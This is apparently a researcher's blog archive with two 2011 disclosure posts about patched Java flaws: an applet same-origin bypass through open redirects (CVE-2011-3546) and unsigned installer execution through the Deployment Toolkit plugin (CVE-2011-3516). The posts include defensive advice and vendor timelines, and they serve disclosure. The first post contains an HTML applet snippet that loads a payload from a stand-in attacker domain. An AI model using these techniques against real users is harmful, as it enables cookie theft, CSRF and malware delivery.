Tag: Oracle October 2011 CPU
2011
10.18

Summary

Java 1.7 and Java 1.6 Update 27 and below do not properly enforce the same-origin policy for applets which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content. This issue was patched in both Java 7 and Java 6 as part of the October 2011 Critical Patch Update. This issue has been assigned CVE-2011-3546.

What is the same-origin policy

From Wikipedia:

In computing, the same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other’s methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.

The origin for a Java applet is the hostname of the website where the applet is served from. So, for example, if I upload an applet to http://example.com/applet.jar, that applet’s origin is example.com. We care about the origin for security reasons: the same-origin policy ensures that an applet is only allowed to make HTTP requests back to the domain from which it originates (or to another domain which resolves to the same IP address, but we can ignore that behavior here).

So, where’s the security vulnerability?

Under certain conditions, the JRE did not correctly determine the origin of an applet. Specifically, when loading an applet via a URL that performed an HTTP redirect, the Java plugin used the original source of the redirect, not the final destination, as the applet’s origin.

If you’re confused, an example might help to illustrate things. Lets first start by imagining a website, example.com, that contains an open redirect. In other words, imagine that browsing to http://example.com/redirect.php?url=http://www.google.com redirects the user to http://www.google.com using a 301 or 302 redirect. Now, lets consider an attacker who controls the domain evildomain.com. This is what the attacker does:

  1. Writes a malicious Java applet that accesses http://example.com
  2. Uploads that applet to http://evildomain.com/evil.jar
  3. Constructs a redirect from http://example.com to the malicious applet (http://example.com/redirect.php?url=http://evildomain.com/evil.jar)
  4. Creates a malicious page anywhere on the Internet containing the following HTML:

    1
    2
    3
    4
    5
    <applet
    code="CSRFApplet.class"
    archive="http://example.com/redirect.php?url=http://evildomain.com/evil.jar"  
    width="300"
    height="300"></applet>
    

So what happens when a user visits that page? Well, lets first think about what we would want to happen:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com but fails because the applet was served up by http://evildomain.com, violating the same-origin policy.

Now, here’s what actually happened:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com AND SUCCEEDS !!!

That behavior is dangerous for websites that redirect to third party content: since HTTP requests made via Java applets inherit a user’s cookies from the browser (minus those marked as HttpOnly), an attacker who exploits this vulnerability is able to steal sensitive information or perform a CSRF attack against a targeted website. Any users who have not upgraded to the latest version of Java are vulnerable to attack.

How to protect your website

Java applets are client-side technology, but this vulnerability has a very real impact on website owners. Aside from waiting for your users to upgrade to the latest version of Java, here are some steps you can take to protect your site:

1. Block requests containing Java’s user-agent from accessing your redirects

This solution is fairly simple. By denying requests made by Java applets to redirect scripts on your site, you can prevent a malicious applet from being loaded. The UAs you’ll want to block contain the string “Java/” (without the quotation marks).
[Note: Blocking that string may be overly broad: I haven’t researched whether other software claims to be Java. I’ll update this post if I’m made aware of any conflicts.]

2. Use HttpOnly cookies

Java is not able to read or make requests with cookies that are marked HttpOnly. As a result, this attack can not be used to access or make requests to the authenticated portion of any site that uses HttpOnly cookies.

3. Don’t redirect to third party content

Open redirects are considered to be problematic for a number of reasons (including their use in phishing attacks). If at all possible, you should avoid them entirely, or heavily restrict the locations that they can redirect to.

Disclosure Timeline

  • December 28th, 2010: Vulnerability discovered
  • January 10th, 2011: Built two proofs of concept involving major websites (will not be disclosed publicly)
  • January 11th, 2011: Email sent to vendor. Disclosed full details of vulnerability, including proofs of concept
  • January 12th, 2011: Vendor acknowledges receipt of email
  • January 25th, 2011: Followup email sent to vendor, inquiring about status
  • January 26th, 2011: Vendor replies: issue is still being investigated
  • February 15th, 2011: [A Java SE Critical Patch Update is released][]
  • March 15th, 2011: Followup email sent to vendor, inquiring about status
  • March 18th, 2011: Vendor replies: issue is still being investigated
  • March 24th, 2011, 5:44 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • March 24th, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • March 24th, 2011, 4:44 PM: Vendor acknowledges vulnerability, plans to address in a future update
  • April 25th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
  • May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java Critical Patch Update
  • May 24th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • June 7th, 2011: A Java SE Critical Patch Update is released
  • June 23rd, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 5:24 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • July 22nd, 2011, 1:33 PM: Vendor replies, apologizes for not including vulnerability in status report. Reiterates that a fix for the vulnerability is targeted for the October 2011 Java Critical Patch Update
  • July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has not been patched. Email with vendor confirms.
  • August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now included and is marked “Issue fixed in main codeline, scheduled for a future CPU
  • September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU
  • October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
  • October 18th, 2011: Java 6 Update 29 and Java 7 Update 1 are released, patching the vulnerability.

Anything else?

It appears Firefox was vulnerable to a similar attack back in 2007:

The blogger at beford.org noted that redirects confused Mozilla browsers about the true source of the jar: content: the content was wrongly considered to originate with the redirecting site rather than the actual source. This meant that an XSS attack could be mounted against any site with an open redirect even if it didn’t allow uploads. A published proof-of-concept demonstrates stealing the GMail contact list of users logged-in to GMail.

It also appears that people have been aware of similar attacks against Java for a while now. I stumbled across a post on http://sla.ckers.org/ that mentioned using redirects to JARs as a way to steal cookies. I believe the “fix” referred to in the post (which only covers cookie stealing) was made in response to this vulnerability from 2010.

If you have any questions about the vulnerability, please feel free to leave them in the comments!

2011
10.18

Summary

The Java Deployment Toolkit Plugin v6.0.240.7 and below for Firefox and Google Chrome can be used to download and run an improperly signed executable on a target’s system. UAC, if enabled, will prompt the user before running the executable. This vulnerability has been tested and confirmed to exist on Windows 7, both 32-bit and 64-bit. It was fixed in Java 7 and Java 6 Update 29. This issue has been assigned CVE-2011-3516.

What is the Java Deployment Toolkit?

The Java Deployment Toolkit Plugin is designed to simplify the lives of developers who work with Java applets and Java Web Start applications. It provides a JavaScript interface in the browser that developers can use to perform tasks like check JRE versions and launch Java applications. It was released as a part of Java 6 Update 10 and exists in Internet Explorer, Firefox, and Google Chrome. Since being released, it has been the source of several serious security vulnerabilities. [1] [2] [3]

How does the vulnerability work?

If a browser has the Deployment Toolkit plugin installed, a webpage can use JavaScript to silently trigger the installation of a Java update by calling the installLatestJRE() function on an instance of the Deployment Toolkit NPAPI plugin. When that function is called, the plugin makes a request to java.sun.com over HTTP to fetch the installer for the latest version of Java.

In Internet Explorer, the plugin appeared to validate the signature on the installer after the file was downloaded. If it encountered an unexpected or missing signature, it did not execute the file and alerted the user. However, no such check occurred in Firefox or Chrome. As a result, a malicious attacker on a user’s network would be able to trigger the download and execution of an arbitrary file. In my testing, redirecting the traffic for java.sun.com and serving up an executable at http://java.sun.com/webapps/download/AutoDL was all that was necessary. Accordingly, this vulnerability can easily be used with a tool like EvilGrade.

If UAC is enabled on the targeted machine, the user is prompted before executing the file. However, the file is saved in the %TEMP% directory as JREInstallYYY_XX.exe, where YY is the major version (ie: 160, 170) XX is the update number of the latest release. As a result, it may be possible to trick the user into believing that a malicious executable is actually a legitimate update.

Note that in Google Chrome a user is prompted with an infobar before the Java plugin is allowed to execute. The user would have to select the option to “Always run on this site” in order for the payload to be downloaded.

Disclosure Timeline

  • Mid-February, 2011: Vulnerability discovered. Set up a test server (a server that hosts a binary in the proper location for download)
  • February 24th, 2011: Email sent to vendor. Disclosed details of vulnerability, including IP of test server and steps to reproduce.
  • February 24th, 2011: Bug 636633 filed with Mozilla
  • February 25th, 2011: Vendor acknowledges receipt of email
  • March 8th, 2011 12:24 AM: Vendor replies, could not reproduce the issue
  • March 8th, 2011 1:35 AM: Email sent to vendor: suggested disabling UAC
  • March 8th, 2011 10:20 AM: Email sent to vendor: other troubleshooting steps
  • March 14th, 2011 10:04 PM: Vendor replies, could not reproduce the issue after extensive testing
  • March 14th, 2011 11:11 PM: Email sent to vendor: updated binary on test server to yield better results
  • March 15th, 2011 8:44 AM: Vendor replies, confirms issue on Windows 7, requests that test server remain operational
  • March 15th, 2011 10:11 AM: Email sent to vendor: acknowledging request to keep test server running
  • March 20th, 2011 12:06 PM: Email sent to vendor: new IP for test server
  • March 20th, 2011 9:09 PM: Vendor replies, acknowledging new IP
  • March 24th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • April 25th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
  • May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java SE Critical Patch Update
  • May 24th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • June 7th, 2011: A Java SE Critical Patch Update is released
  • June 17th, 2011: Updated Bug 636633 with the most recent information.
  • June 17th, 2011: Verified that the issue also exists in the plugin used in Chrome. Filed Issue 86526. Sent email to vendor.
  • June 20th, 2011: Vendor replies, says that fix will also address issue in Chrome
  • June 23rd, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • July 22nd, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has been silently patched. Email with vendor confirms.
  • August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now marked “Issue fixed in main codeline, scheduled for a future CPU
  • September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU
  • October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
  • October 14th, 2011: Vendor releases Java 6 Update 29, which patches the vulnerability.

Wrapup

I want to thank Oracle Security Alerts for working with me to verify and patch this vulnerability.